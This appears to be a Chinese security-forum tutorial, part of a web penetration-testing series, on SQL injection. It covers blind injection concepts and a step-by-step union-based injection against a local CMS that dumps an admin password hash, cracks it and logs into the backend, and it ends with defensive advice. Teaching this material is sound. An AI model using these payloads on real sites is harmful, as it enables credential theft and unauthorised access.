用户
搜索
  • TA的每日心情
    开心
    14 小时前
  • 签到天数: 296 天

    连续签到: 84 天

    [LV.8]以坛为家I

    i春秋-核心白帽

    Rank: 4

    12

    主题

    66

    帖子

    1996

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-11-4

    核心白帽春秋游侠白帽高手积极活跃奖

    发表于 7 天前 03127
    本帖最后由 和風 于 2021-7-16 22:18 编辑

    本篇文章作者和風,本篇文章参与i春秋作家连载计划所属和風,未经许可,禁止转载。连载方向:web安全,内网安全
    前言
    在介绍SQL注入漏洞前,我想先说一下跟SQL注入相关的东西。例如网页的发展史,最开始的网页基本上都是静态页面,后面由于静态页面内容固定,维护困难,交互性差,功能单一等问题,创造出了以数据库技术为基础,内容多变,维护简单,交互性强(用户注册,用户登录,在线调查)的动态页面,也就是我们现在能够利用SQL注入漏洞的原因之一。
    目录:
    一、记一次web渗透过程
    二、web渗透---SQL盲注漏洞
    三、XSS与CSRF的联合使用
    四、web渗透---文件包含漏洞
    五、web渗透---命令执行漏洞
    六、web渗透---报错注入漏洞
    静态页面
    html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本。由浏览器如(IE、Chrome等)解析。
    静态页面工作原理:客户端发送请求---服务器返回相应html文件。
    动态页面
    由相应的脚本引擎来解释执行,根据指令生成静态网页,如PHP、JSP、ASPX等。
    动态页面工作原理:客户端发送请求给服务器--->服务器PHP(JSP、ASPX)解析客户请求--->服务器生成相应HTML--->返还给客户端生成的HTML文件(或者其他文件)
    SQL盲注漏洞原理
    布尔型盲注:布尔型盲注语句需要在涉及判断的功能中才能使用,其中最常见的就是在查询条件的位置,分别拼接上一段结果为真和结果为假的判断语句,如果结果为真时显示效果与原来一-致,结果为假时查询不到数据或与原来数据不--致,则认为存在布尔型盲注。
    时间盲注:对于没有涉及判断的功能,如插入、更新等语句的数据位置(而非条件语句的位置),或者布尔型盲注的结果无法判断的(如显示均正常或均异常),可以尝试使用时间型盲注语句进行测试,如果插入时间型盲注语句后服务器延时响应,则认为存在SQL注入漏洞。

    SQL注入漏洞的危害

    (1)绕过登录验证:在登录页面使用万能密码登录网站后台页面
    (2)获取敏感数据:通过SQL注入获取网站管理员账号密码、用户信息等
    (3)文件系统操作:利用SQL注入实现列目录,读取或者写入文件等
    (4)注册表操作:利用SQL注入读取、写入、删除注册表等
    (5)执行系统命令:通过SQL注入可以远程执行命令。


    步骤一:判断注入点

    目的:判断注入点,看到有id=的参数就想到可能有注入点
    打开任意新闻的URL,如http://127.0.0.1/cms/show.php?id=32

    在URL后添加“’”测试是否存在SQL注入,报错证明有SQL注入。






    步骤二:判断字段长度:
    目的: 判断字段长度
    利用order by N,从数字1开始替代N,直到返回错误页面,判断字段长度为错误页面的N-1,也就是最后一个正常页面返回。


    步骤三:判断字段位置回显
    目的:判断字段位置回显
    利用and 1=2 union select 1,2,3,4,5,……,15,最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3和11的位置可以回显信息。

    步骤四:判断数据库信息
    目的:判断数据库信息
    利用and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15,用sql指令替换sql_command。如:and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15这个语句是查看版本的。


    步骤五:判断mysql所有数据库名称
    目的:判断mysql所有数据库名称
    利用and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看mysql中所有数据库的名称。可知业务数据库为cms。


    具有不同的编码,运用convert(using ...)来进行转换

    步骤六:判断数据库表名称
    目的:判断数据库表名称
    利用and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database(),查看cms数据库拥有的所有表。可以发现存放用户信息的表cms_users。

    步骤七:判断数据表的所有列列名
    目的:判断数据表的所有列列名
    利用and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。
    table_name=cms_users,表名需要编码为16进制。得到3个列:userid,username和password



    步骤八:判断管理员账号密码
    目的:判断管理员账号密码

    利用and 1=2 union select
    1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。

    得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e

    步骤九:破解密码
    目的:破解密码
    登录md5.Com解密


    步骤十:使用admin/123456登录后台
    目的:登录后台
    登录http://ip/admin/login.php


    总结
    作为OWASP TOP10中的漏洞之一,SQL注入漏洞在web安全中是比较常见的漏洞之一,建站人员应该提前做好防护措施,可以通过软硬件设备的防护,也可以进行过滤、编码、预编译等操作来防范SQL注入,通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生;基于各类数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句;基于各种语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当做参数传入,不会被编译为命令。

    剑未佩妥出门已是江湖
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册